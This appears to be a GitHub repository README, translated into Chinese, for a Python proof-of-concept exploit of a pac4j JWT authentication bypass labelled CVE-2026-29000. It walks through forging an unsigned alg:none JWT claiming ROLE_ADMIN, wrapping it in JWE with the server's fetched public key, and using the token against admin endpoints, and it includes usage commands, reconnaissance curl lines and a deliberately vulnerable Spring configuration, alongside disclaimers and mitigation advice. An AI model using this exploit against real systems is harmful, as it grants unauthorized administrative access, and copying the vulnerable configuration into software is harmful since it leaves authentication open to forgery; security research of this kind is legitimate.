c0gnit00/CVE-2026-29000

GitHub: c0gnit00/CVE-2026-29000

针对 pac4j JWT 身份验证绕过漏洞(CVE-2026-29000)的 Python PoC 利用工具,通过伪造未签名 JWT 并以 JWE 加密实现权限提升。

Stars: 1 | Forks: 0

# CVE-2026-29000: pac4j JWT 身份验证绕过 PoC ## ⚠️ 免责声明 **本工具仅供教育和授权安全测试目的使用。作者对任何滥用、损坏或非法使用此漏洞的行为概不负责。** - 在大多数司法管辖区,未经授权访问计算机系统是**违法的** - 用户在测试前必须获得**明确的书面授权** - 作者对因滥用此工具而产生的任何后果**不承担责任** - 这是一个**安全研究和教育工具** - 请合乎道德和合法地使用 ## 📋 漏洞概述 此漏洞利用了 pac4j 的 JWT 身份验证机制中的一个缺陷,该库存在以下问题: 1. **接受无签名 token**,即 JWT 标头中的 `alg: "none"` 2. **信任 JWE 包装的 token**,但未正确验证内部 JWT 签名 3. **允许通过**未签名 payload 中的自定义声明**进行角色提权** 攻击者可以伪造一个包含任意声明(例如 `role: "ROLE_ADMIN"`)的未签名 JWT,使用服务器的公钥将其加密到 JWE 容器中,从而获取对管理员功能的未经授权访问。 ## 🎯 成功利用的前提条件 ### 服务端要求 要成功利用此漏洞,目标服务器必须满足以下**所有**条件: #### 1. **可访问的 JWKS Endpoint** 服务器必须通过以下 endpoint 之一公开其公钥: - `/.well-known/jwks.json`(标准 OAuth/OIDC endpoint) - `/api/auth/jwks`(自定义 endpoint) **原因:** 漏洞利用程序会自动获取服务器的公钥来加密伪造的 JWE token。 #### 2. **接受 JWT ROLE 声明** 服务器必须: - 接受并处理 JWT payload 中的 `role` 声明 - 至少具有一种授予提升访问权限的特权级别(例如 `ROLE_ADMIN`) - **未**验证 JWT 签名或允许未签名的 token **常见角色:** - `ROLE_ADMIN` - 完全的管理员访问权限 - `ROLE_USER` - 标准用户访问权限 - 取决于应用程序的自定义角色 #### 3. **处理 JWE Token** 服务器必须: - 接受 JWE(加密)token 作为有效的身份验证 - 解密并处理内部的未签名 JWT - **不**验证内部 JWT 的签名或检查算法 #### 4. **存在漏洞的 pac4j 配置** 应用程序必须使用具有以下配置的 pac4j: - 算法设置为 `"none"` 或算法验证不足 - 启用了 JWE 加密,但禁用了内部 JWT 的签名验证 - 除了 JWE 解密之外,没有额外的 token 验证 ## 🛠️ 安装 ### 环境要求 - Python 3.7+ - 必需的包:`requests`, `jwcrypto` ### 安装步骤 ``` # 克隆仓库 git clone https://github.com/yourusername/CVE-2026-29000.git cd CVE-2026-29000 # 安装依赖 pip install -r requirements.txt ``` ### requirements.txt ``` requests>=2.28.0 jwcrypto>=1.4.0 ``` ## 🚀 用法 ### 基本用法 ``` python3 exploit.py ``` **示例:** ``` python3 exploit.py http://vulnerable-app.local:8080 ``` 脚本将会: 1. 尝试从标准 endpoint 获取 JWKS 2. 生成一个带有 `role: "ROLE_ADMIN"` 的未签名 JWT 3. 使用服务器的公钥对其进行加密 4. 输出准备好用于身份验证的 JWE token ### 高级选项 #### 自定义用户名 ``` python3 exploit.py http://vulnerable-app.local:8080 --username john ``` #### 自定义角色 ``` python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR ``` #### 手动提供 JWKS 如果 JWKS endpoint 不是公开可访问的,请手动提供 JWK: ``` python3 exploit.py http://vulnerable-app.local:8080 \ --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}' ``` #### 包含所有选项的完整示例 ``` python3 exploit.py http://vulnerable-app.local:8080 \ --username hacker \ --role ROLE_ADMIN \ --jwk '{"keys":[{...}]}' ``` ## 📤 使用生成的 Token 漏洞利用程序输出以下格式的 JWE token: ``` Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0... ``` ### 发起经过身份验证的请求 在 HTTP 请求中使用该 token 来访问受保护的 endpoint: ``` # 使用 curl curl -H "Authorization: Bearer " \ http://vulnerable-app.local:8080/api/admin/dashboard # 使用 Python requests import requests headers = {"Authorization": f"Bearer {jwe_token}"} response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers) ``` ### 带有 Authorization 标头的请求示例 ``` curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \ http://vulnerable-app.local:8080/api/users/list ``` ## 🔍 漏洞利用原理 ### 第一步:创建未签名 JWT ``` header = {"alg": "none", "type": "JWT"} payload = { "sub": "admin", # Username "role": "ROLE_ADMIN", # Privilege level "iss": "principal-platform", # Issuer "iat": 1234567890, # Issued at "exp": 1234571490 # Expiration (1 hour) } ``` 创建的 JWT **没有签名**(`alg: "none"`),这通常是无效的,但会被有漏洞的服务器接受。 ### 第二步:获取服务器的 JWKS 漏洞利用程序会查询: 1. `/.well-known/jwks.json`(OAuth/OIDC 标准) 2. `/api/auth/jwks`(自定义 endpoint) 这将检索加密所需的服务器 RSA 公钥。 ### 第三步:将 JWT 加密为 JWE 未签名的 JWT 使用以下方式进行加密: - **算法:** RSA-OAEP-256(非对称加密) - **加密:** A128GCM(认证加密) - **密钥:** 服务器的公钥(防止篡改) 这将创建一个服务器可以解密但不会验证内部签名的 JWE token。 ### 第四步:使用 Token JWE token 包含在 `Authorization` 标头中: ``` Authorization: Bearer ``` 有漏洞的服务器将其解密并提取出未签名的 JWT,在不验证签名的情况下信任其中的声明。 ## 🔐 漏洞利用链 ``` Unsigned JWT (alg:none) ↓ Wraps in JWE (with server's public key) ↓ Server receives JWE token ↓ Server decrypts JWE ↓ Extracts inner unsigned JWT ↓ ❌ Server does NOT verify signature ↓ ✅ Accepts claims as valid (role: ROLE_ADMIN) ↓ Attacker has admin access! ``` ## ⚠️ 检测与特征 ### 服务器端存在漏洞的特征 1. **JWKS Endpoint 暴露** - 检查 `/.well-known/jwks.json` 或 `/api/auth/jwks` 是否可公开访问 2. **JWT 验证日志** - 查找接受 `alg: "none"` token 的日志 - 关于接受未签名 token 的警告 3. **配置审查** - 检查 pac4j 的签名验证是否被禁用 - 验证 JWE 解密设置 ### 网络特征 ``` # Reconnaissance curl -s http://target:8080/.well-known/jwks.json | jq . curl -s http://target:8080/api/auth/jwks | jq . # 检查是否接受 JWE tokens curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected ``` ## 🛡️ 缓解与修复措施 ### 对于使用 pac4j 的开发者 1. **强制签名验证** // 不可靠 - 接受未签名 token JwtAuthenticator jwt = new JwtAuthenticator(); jwt.setAlgorithm(null); // ❌ 存在漏洞 // 可靠 - 要求有效签名 JwtAuthenticator jwt = new JwtAuthenticator(publicKey); jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ 安全 2. **验证 JWT 算法** - 永不接受 `alg: "none"` - 将允许的算法加入白名单(例如 RS256, HS256) - 拒绝算法不匹配的 token 3. **如果不需要,禁用 JWE** - 如果身份验证只需要 JWT,则禁用 JWE 包装 - 如果需要 JWE,请独立验证内部 JWT 签名 4. **更新 pac4j** - 应用安全补丁 - 更新到默认启用签名验证的版本 5. **添加 Token 验证层** - 验证 token 过期时间(`exp` 声明) - 验证签发者(`iss` 声明) - 根据受信任的数据库交叉引用角色 ### 对于系统管理员 1. **限制 JWKS Endpoint 访问** location /.well-known/jwks.json { allow 10.0.0.0/8; # 仅限内部网络 deny all; } 2. **监控身份验证日志** - 针对 `alg: "none"` 的 token 发出警报 - 标记来自意外来源的管理员角色分配 3. **网络隔离** - 隔离身份验证服务器 - 将 JWKS endpoint 限制为仅授权客户端访问 4. **定期安全审计** - 审查 pac4j 配置 - 对身份验证机制进行渗透测试 ## 📊 测试环境 ### 存在漏洞的设置示例 ``` @Configuration public class SecurityConfig { @Bean public JwtAuthenticator jwtAuthenticator() { JwtAuthenticator authenticator = new JwtAuthenticator(); // ❌ VULNERABLE: No signature verification authenticator.setAlgorithmsAllowedForSigning(null); authenticator.setJwtClaimsValidation(false); return authenticator; } @Bean public JWEEncrypter encrypter() { // Accepts JWE but doesn't verify inner JWT return new JWEEncrypter(); } } ``` ## 📚 参考资料 - **CVE ID:** CVE-2026-29000 - **受影响的库:** pac4j (JWT 模块) - **攻击向量:** 通过未签名 JWT + JWE 加密绕过身份验证 - **CVSS 评分:** 9.8(严重) ### 相关资源 - [pac4j GitHub 代码库](https://github.com/pac4j/pac4j) - [JWT 最佳实践](https://tools.ietf.org/html/rfc7519) - [OWASP JWT 速查表](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html) ## ⚖️ 法律免责声明 此漏洞利用程序仅提供用于**教育和授权安全测试目的**。 **未经授权访问计算机系统是违法行为。** 此工具只能在以下系统上使用: - 您拥有的系统 - 获得明确书面许可的系统 - 授权的渗透测试项目 作者不对因使用此工具而造成的误用或损坏负责。 ## 📝 许可证 MIT 许可证 - 详情请参阅 LICENSE 文件
标签:逆向工具